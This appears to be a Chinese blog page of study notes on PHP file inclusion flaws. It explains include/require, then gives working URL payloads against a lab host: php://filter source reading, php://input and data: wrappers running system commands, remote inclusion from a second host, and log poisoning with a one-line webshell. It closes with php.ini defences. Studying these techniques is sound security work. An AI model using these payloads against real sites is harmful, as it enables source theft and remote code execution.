常見的文件包含漏洞

一、什麼是文件包含

程序開發人員一般會把重複使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件。而無需再次編寫,這種 文件調用的過程一般被稱爲文件包含。

例如:include “conn.php”

 

PHP中常見包含文件函數

include()

當使用該函數包含文件時,只有代碼執行到include()函數時纔將文件包含進

來,發生錯誤時之給出一個警告,繼續向下執行。

include_once()

功能與Include()相同,區別在於當重複調用同一文件時,程序只調用一次

require()

require()與include()的區別在於require()執行如果發生錯誤,函數會輸出

錯誤信息,並終止腳本的運行。

require_once()

功能與require()相同,區別在於當重複調用同一文件時,程序只調用一次。

 

include :包含的文件不存在,程序會繼續執行

require:包含文件不存在,程序停止執行

 

 

 

 

 

文件包含

1,利用

僞協議

php://input         (allow_url_include)

php:fileter/read

php:date:text/plain(allow_url_include/fopen)

 

2,包含其他文件

1,本地,包含日誌文件,session,錯誤日誌

2,遠程,allow_url_fopen,allow_url_include

 

3,挖掘

1,代碼審計

2,掃描器

4,防護

open_basedir

過濾.

關閉allow_url_fopen,allow_url_include

補充:

文件包含

修改apache配置文件

1,記錄日誌 修改httpd.conf

    #CustomLog "|bin/rotatelogs.exe -l logs/access-%Y-%m-%d.log 86400" common  #普通類型

        CustomLog "|bin/rotatelogs.exe -l logs/access-%Y-%m-%d.log 86400" combined #複合類型

    <IfModule log_config_module>

    LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

    LogFormat "%h %l %u %t \"%r\" %>s %b" common

    LogFormat "%{Referer}i -> %U" referer

    LogFormat "%{User-agent}i" agent

</IfModule>

#php文件包含漏洞

http://www.freebuf.com/column/148886.html

php僞協議:不需要開啓allow_url_fopen,

僅php://input、 php://stdin、 php://memory 和 php://temp 需要開啓allow_url_include。

#   (php://filter: php://filter 讀取網站源碼)

    是PHP語言中特有的協議流,作用是作爲一個“中間流”

    來處理其他流。比如下面的代碼,我們可以把conn.php配置文件轉換成base64編碼並輸出:

http://172.18.199.199/14-include/01.php?page=php://filter/read=convert.base64-encode/resource=../03-session/conn.php

 

#   (php://input 接受post請求,並執行裏面的代碼)

https://www.cnblogs.com/ningskyer/articles/4712597.html

http://172.18.199.199/14-include/01.php?page=php://input

php://input可以讀取沒有處理過的POST數據。相較於$HTTP_RAW_POST_DATA而言,它給內存帶來的壓力較小,並且不需要特殊的php.ini設置。php://input不能用於enctype=multipart/form-data”

我們應該怎麼去理解這段概述呢?我把它劃分爲三部分,逐步去理解:

1,讀取POST數據

2,不能用於multipart/form-data類型

3,php://input VS $HTTP_RAW_POST_DATA

 

#   (data僞協議:data:text/plain,<?php system('config');?> 直接執行後面的代碼)

page=data:text/plain,<?php system('config');?>

http://172.18.199.199/14-include/01.php?page=data:text/plain,<?php system('ipconfig');?>

 

----------------------------文件包含漏洞除了可以包含你上傳的文件,日誌文件,session文件。。。---------------

#  如果php.ini開啓了allow_url_include=on

僞協議:

*-1 php://filter 讀取網站文件源碼 xxx.php?page=php://filter/read=convert.base64-encode/resource=路徑

*-2 php://input 接受post請求,執行裏面的php代碼  xxx.php?page=php://input

構造post請求 <?php phpinfo()?>

*-3  data協議: xxx.php?page=data:text/plain,<?php phpinfo();?>

*-4 包含遠程文件  進攻目標站 http://172.18.199.199 存在文件包含

遠程文件包含,包含的文件不能被解析。

攻擊語法:http://172.18.199.199/14-include/01.php?page=http://172.18.199.13/www/one.txt

xxx.php?page=http://172.18.199.13/one.php

文件包含防禦

修改配置文件php.ini 限制包含目錄

open_basedir=D:/phpStudy/WWW/14-include/

 

對開啓日誌運用kaliLinux 訪問,curl “http://xxxx.com”利用這樣的格式,替換爲一句話木馬等等腳本內容,然後對日誌文件進行訪問

但是有個重要的問題,凌晨左右日誌文件會重新生成,這個時候插入腳本會有比較好的效果不會被其他的訪問內容所影響。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章